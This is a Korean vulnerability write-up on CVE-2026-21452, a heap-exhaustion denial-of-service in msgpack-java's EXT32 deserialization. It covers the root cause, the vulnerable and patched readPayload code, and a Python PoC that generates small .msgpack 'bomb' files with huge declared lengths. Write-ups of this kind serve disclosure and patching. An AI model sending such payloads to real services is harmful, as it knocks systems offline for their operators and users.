[하루한줄] CVE-2026-21452 : msgpack-java의 .msgpack 역직렬화로 인한 Remote DoS

URL

Target

  • msgpack-java ≤ 0.9.10

Explain

MessagePack-Java 라이브러리에서 공격자가 페이로드 길이를 제어할 수 있는 EXT32 객체를 포함하는 .msgpack 파일을 역직렬화할 때 서비스 거부(DoS) 취약점이 발생하였습니다. MessagePack-Java는 확장 헤더를 지연 평가 방식으로 파싱하지만, 이후 확장 데이터를 구체화할 때는 선언된 EXT 페이로드 길이를 신뢰합니다. 다음은 영향을 받는 요소들입니다.

org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()

Root cause

ExtensionValue.getData() 메서드가 호출될 때, 라이브러리는 상한을 지정하지 않고 선언된 길이의 바이트 배열을 할당하려고 시도합니다. 따라서 단 몇 바이트 크기의 악의적인 .msgpack 파일 만으로도 무한 Heap 할당이 발생하여 JVM 힙 고갈, 프로세스 종료 또는 서비스 중단으로 이어질 수 있습니다.

이 취약점은 모델 로딩/역직렬화 과정에서 발생하므로 원격 공격이 가능한 취약점입니다.

public byte[] readPayload(int length)
        throws IOException
{
    byte[] newArray = new byte[length];
    readPayload(newArray);
    return newArray;

// ...
}

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

EXT32 헤더를 생성하고 Length에 최댓값(2GB)을 입력합니다. 그리고 뒤에 실제 데이터로 문자 하나를 입력하여 페이로드를 구성합니다. 이 간단한 페이로드를 msgpack-java가 읽으면, JVM에 2GB 바이트 배열 할당 명령이 들어갑니다. 이로 인해 JVM이 GC를 계속 돌리며 Heap 메모리가 고갈 되어 DoS가 발생합니다.

Patch

0.9.11 버전에서 EXT32/BIN32 데이터 타입 모두에 대해 대용량 입력에 대한 메모리를 점진적으로 할당하는 방식으로 패치 되었습니다.

public byte[] readPayload(int length)
        throws IOException
{
    if (length <= GRADUAL_ALLOCATION_THRESHOLD) {
        // Small/moderate size: use efficient upfront allocation
        byte[] newArray = new byte[length];
        readPayload(newArray);
        return newArray;
    }

    // Large declared size: use gradual allocation to protect against malicious files
    return readPayloadGradually(length);
}

길이가 GRADUAL_ALLOCATION_THRESHOLD 이하일 때는 이전과 동일하게 new byte[length]를 호출하여 한 번에 메모리를 할당하고, 길이가 그 이상일 때는 새로 패치 한 코드가 실행됩니다.

private byte[] readPayloadGradually(int declaredLength)
        throws IOException
{
    List<byte[]> chunks = new ArrayList<>();
    int totalRead = 0;
    int remaining = declaredLength;

    while (remaining > 0) {
        int bufferRemaining = buffer.size() - position;
        if (bufferRemaining == 0) {
            // Need more data from input
            MessageBuffer next = in.next();
            if (next == null) {
                // Input ended before we read the declared size
                throw new MessageSizeException(
                        String.format("Payload declared %,d bytes but input ended after %,d bytes",
                                declaredLength, totalRead),
                        declaredLength);
            }
            totalReadBytes += buffer.size();
            buffer = next;
            position = 0;
            bufferRemaining = buffer.size();
        }

        int toRead = Math.min(remaining, bufferRemaining);
        byte[] chunk = new byte[toRead];
        buffer.getBytes(position, chunk, 0, toRead);
        chunks.add(chunk);
        totalRead += toRead;
        position += toRead;
        remaining -= toRead;
    }

    // All data verified to exist - combine chunks into result
    if (chunks.size() == 1) {
        return chunks.get(0);  // Common case: single chunk, no copy needed
    }

    byte[] result = new byte[declaredLength];
    int offset = 0;
    for (byte[] chunk : chunks) {
        System.arraycopy(chunk, 0, result, offset, chunk.length);
        offset += chunk.length;
    }
    return result;
}

패치의 핵심은 toRead로 실제 데이터만큼 메모리에 할당을 시킵니다. 또한, 반복문을 통해 remaining가 남아있는데 데이터의 next == null 이면 즉시 MessageSizeException를 발생 시키고 프로세스가 중단됩니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.